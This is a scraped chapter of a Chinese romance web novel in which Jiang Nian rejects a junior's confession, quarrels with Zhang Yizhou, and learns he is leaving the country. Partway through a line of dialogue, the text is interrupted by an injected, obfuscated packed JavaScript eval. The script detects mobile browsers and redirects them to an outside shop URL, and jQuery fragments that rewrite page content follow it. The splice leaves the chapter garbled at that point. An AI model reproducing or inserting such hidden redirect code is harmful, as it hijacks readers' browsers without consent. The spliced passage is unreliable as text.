52. chapter52
作品:《没人知道我爱他[破镜重圆]》 江念把彭教授给的资料放进包里,准备拿手机结账,却发现挎包里空空如也。
她这才猛然想起来,换鞋时手机放在了换鞋柜上,被蒋清妍一打岔,忘了拿了。
最终是祝炎付了奶茶的钱,她有些不好意思的冲他笑,“下次一定请,我保证。”
祝炎也笑,“那学姐别忘了欠我一顿饭。我这可是请你喝了奶茶,吃了烤红薯,到时候我得多吃点。”
“没问题,你随便点。”江念握着暖呼呼的烤红薯,往嘴里塞了一口,笑得眯起眼,“挺甜。”
张亦舟靠坐在机车上,看见的就是这一幕。大年初一,街上一个人也没有,站台上言笑晏晏的少年少女格外引人注目。
祝炎勾了勾唇角,抬眼看不远处的张亦舟,随即逼近一步。
距离突然拉近,江念吓了一跳,还没反应过来,就见祝炎抬手冲着她的脸伸了过来。
神经一紧,江念下意识退了一步,躲开他的手。
修长的手颓然的放下,祝炎故作无所谓的笑了笑,指指自己的脸颊示意,“脸上沾了红薯。”
“哦,知道了,谢谢。”气氛不太对,江念有些慌,手忙脚乱的翻出手帕自己擦脸,“我、我自己可以。”
“嗯。”祝炎没再说什么。
远处,张亦舟冷眼看着,从牙缝里迸出两个字,“傻逼。”
气氛有点古怪,江念待不下去了,“那个,你打的车还没到吗?”
“学姐想赶我走。”
“啊,没有没有,”完了,越来越乱,江念强行转化话题,“红薯挺甜的,大年初一还有人卖烤红薯呢。”
“我早起来自己烤的。”
“你还会烤红薯?”
江念惊讶的抬眼看他,却对上了祝炎沉甸甸的目光,心里有某种预感在升腾。
果然,下一瞬祝炎沉声道:“我只给学姐烤。”
江念:!!!别搞我!!!求求了!!!
“哈哈,”她干笑两声,假装听不懂,“那个我妈要回来了,我先回去……”
“学姐,”祝炎没给她逃避的机会,直接打断她,“当我女朋友好不好?”
江念头皮一炸,魂都要吓掉了,“哈哈,你别胡说了,大过年的——”
“我认真的,学姐,我喜欢你,当我女朋友好不好?”
“不好。”
身后传来一道斩钉截铁的声音,冷硬又果断。
格外熟悉的声音,江念背脊一僵,缓缓扭过头,对上了张亦舟漆黑浓深的一双眸子,心口微微一滞。
他情绪好像并不太好,目光扫过她,直接落在了对面祝炎的身上。
祝炎抬眼看他,目光挑衅,寸步不让,“我问学姐,没问你。”
干冷的空气中似乎有火药味在弥漫。
张亦舟直视着他,却抬手抓住了江念的手臂,将她拽到了自己身后。
“不用问她,我替她回答,不好。”
“张亦舟,”祝炎抿了抿唇,声音柔和不少,“你不能代表学姐,你们是什么关系?就算你们关系再好,她也是独立的个体,她有自己的想法和选择,你不能替她做主,你有没有尊重过她?”
张亦舟火大的顶顶脸颊,闭眼哼笑了声,“你他妈别搁这儿给我装善解人意。我他妈忍你很久了。”
“张亦舟。”江念吓了一跳,下意识抓住他的衣角,想要阻止他。
祝炎目光扫过脸色泛白的江念,随即又看向张亦舟,“我不是装善解人意,只是最基本的尊重而已,难道学姐不值得被尊重?”
你他妈的,给我装蒜是么?老子可不惯着你。
张亦舟咬了咬牙,扯唇冷笑道:“你故意给我发那些信息刺激我,不就是想让我过来看戏,让我失控,然后招江念讨厌,装什么呢?”
江念倏地睁大眼看向他,“祝炎,你……”
“没有,他瞎说。”
“操,”张亦舟被这些小把戏弄得有点烦了,“聊天记录还在我手机里呢,翻出来看看?智商不够就别搞小动作,敢玩儿就要敢认栽,像个爷们儿点。”
祝炎脸色有些白,祈求的目光看向江念,“学姐,我……”
江念没说话,垂眼避开了他的目光。
祝炎忽的泄了气,“学姐对不起,但请相信我,我是真的喜欢你。”
张亦舟头疼的拧起眉,“滚吧。”
祝炎没再说话,转身离开,脚步声越来越远直至消失。
站台上忽然被寂静笼罩,两人静静站着没有说话。
江念抬头看着张亦舟宽阔的后背,小声道:“张亦舟?”
张亦舟忽的转过身来,垂眼直直望着她,声音压得低了些,像是耳语,“江念,我有点后悔了。”
他的目光又深又重,让人有些承受不住,江念被盯得心头发麻,缩了缩肩,小声问:“后悔什么?”
“后悔让你参加文艺汇演。”张亦舟直勾勾看着她,往前逼近了一步,“文艺汇演的时候你说让我别再唱歌了,看来不仅我不要再唱歌了,你也别再登台弹琴了。”
江念定定看着他,她让他别再唱歌了,是因为吃错,受不了那么多人围着他。现在张亦舟让她别再登台弹琴了,是什么意思?他知道她的心情?或者也体会着她的心情?所以他是吃醋了?
各种念头杂乱的涌入,江念有些不敢相信。她仰着头看他,控制不住乱跳的心,终于忍不住小心试探,“张亦舟,你什么意思?”
张亦舟低眼看着面前的小姑娘,她正抬眼看着他,纤长卷翘的睫毛微微颤抖着,黑润的眼里写满了紧张和不安。
她在害怕。
张亦舟心口发闷,第一次意识到自己是个神经病,占有欲强的让人害怕。他曾经说过,希望自己喜欢的人是可以自己发光的太阳,可现在,他不想让她发光,只想把她圈在身边藏起来,自己独占,不让任何人看见。
他想到了祝炎的话,江念经历了很多苦难才再次登台,他也想起了汇演时她站在台上闪闪发光的模样。
她历经千辛才走到现在,而他为了一己私欲妄图折断她的翅膀。
他是个卑鄙的人,如果被江念窥见自己不堪的一面,估计只会远远躲开。
张亦舟悄悄握紧了拳,随即放软了神情,恢复了吊儿郎当的语气,“我的意思是,你年后不是要比赛么,别分心搞对象,好好练琴,除非你不想再登台演出了。”
江念看着他一副满不在乎的模样,张了张嘴,没说出话来,却像倒灌了口风。寒冬的风很凉,灌入肺腑,心底有些发冷发涩。
她心口堵得慌,没好气道:“知道了,我要回家了,别挡着我。”
“生气了?”
江念没说话,径直往前走。
张亦舟迈步跟上,“气我打断了你的告白?”
江念心口猛地一揪,难受的有些喘不上气,她双手死死抓着包带,转过身来,“对,你别跟着我了。”
这是她第一次用这种语气跟张亦舟说话,也第一次在张亦舟脸上看见了意外的神情。
他也停了下来,漆黑的眼静静望着她,声音又冷又硬,“什么意思?”
江念想到了早上的照片,倔脾气也上来了,不仅没有回避他的目光,反而倔强的盯着他,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844637|187867||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就是你理解的那个意思,你不要随意干涉我的生活。祝炎说得对,别人跟我告白,接受也好,拒绝也好,都应该我自己做主。你这样跑来打断,我理解是因为你受到了挑衅,激发了胜负欲,但也请你尊重一下我。”
“所以你觉得我干涉你了?”
江念没说话,漆黑的眼盯着他。
寒风从两人间贯穿而过,空气似乎都被冻住,气氛紧绷的让人害怕。
张亦舟抿了下唇,有些艰难道:“还是说你想接受?”
“你管不着!”
张亦舟盯着她,忽的冷笑了声,他顶了顶腮,点头道:“成,算我多事,先回去了,再见。”
他说完,利落的转身离开。
江念愣愣站在原地,看着他的机车消失在空荡的街道尽头,终于再也支撑不住,像瘫软了一般,靠着花坛蹲下身来。
她不想这样的,好好的事情被弄的一团糟糕。
但人的情绪总是不受控制的,任性、愤怒、嫉妒、自卑……各种负面情绪也不是人可以精准拿捏的。
这一切归根结底都是欲、望在作祟,是她要的越来越多了。
她曾经以为只要能再见他一次就够了,后来想远远看着他就满足了,可她低估了欲望的可怕,人的欲望是会无限生长的,现在她想要把他牢牢抓在手里,甚至连他的忽视都难以忍受了。
以前觉得只要知道他的存就会很开心,可现在,她奢望张亦舟与她心意相通,甚至妄想着他能无限纵容她,事事顺着她。
她凭什么?江念自嘲的笑了声,捏了捏酸胀的太阳穴,起身回家。
室外温度很低,她整个人都像是被冻僵了一样,手脚冰凉发麻,脑子也被冻得一片混乱。
进了家门,一眼看见放在换鞋柜上的手机,屏幕正不断闪烁。
没有思考,几乎是本能的就喊了“张亦舟”的名字。
鞋都没来得及换,跑过去拿手机,屏幕上闪烁的却是“小鱼”两个字。
顶着的那点力气好像忽然泄掉,江念一屁股坐在换鞋凳上,接通了电话。
“念念,”唐喻的声音一如既往的有活力,“你初三回老家?”
江念打起点精神,“嗯。”
“什么时候回来?不会等到开学吧?”
“会提前两天回来的。”
“那就行,你给个准确时间。张亦舟年后要出国了,我们准备聚一聚,你也来吧,毕竟也见过……”
张亦舟年后要出国了。张亦舟年后要出国了。
江念脑子里“轰”的一炸,嗡嗡作响,耳边无限循环着他要出国这句话,唐喻接下来的话一点也听不见了。
他要出国了,大家都知道,只有她不知道。
又是这样,永远是这样。
难道他们之间的相处都是她的错觉?其实张亦舟的眼里从来没有她?
她不信,她明明能感受到,张亦舟对她是不一样,他的一些举动是超乎朋友界限的。这样的错觉逐渐滋养着她的欲、望,让她要的越来越多,也让一切逐渐失控。
可现在是什么意思?
他要走了,她甚至都不知道,所以他从未把她放在心里过,从始至终这一切都是她自作多情?
江念脑子很乱,无论她如何说服自己,都无法接受。无法接受一切都是自己的白日梦,无法接受张亦舟要离开。
她抱住双膝,紧紧蜷在换鞋凳上,“张亦舟,我要怎么办?真的要跟你再见了吗?”
江念心痛的有些喘不上气来,死死咬住自己的手背,眼泪大颗大颗砸在地板上,溅出一朵朵泪花,很快濡湿一片。

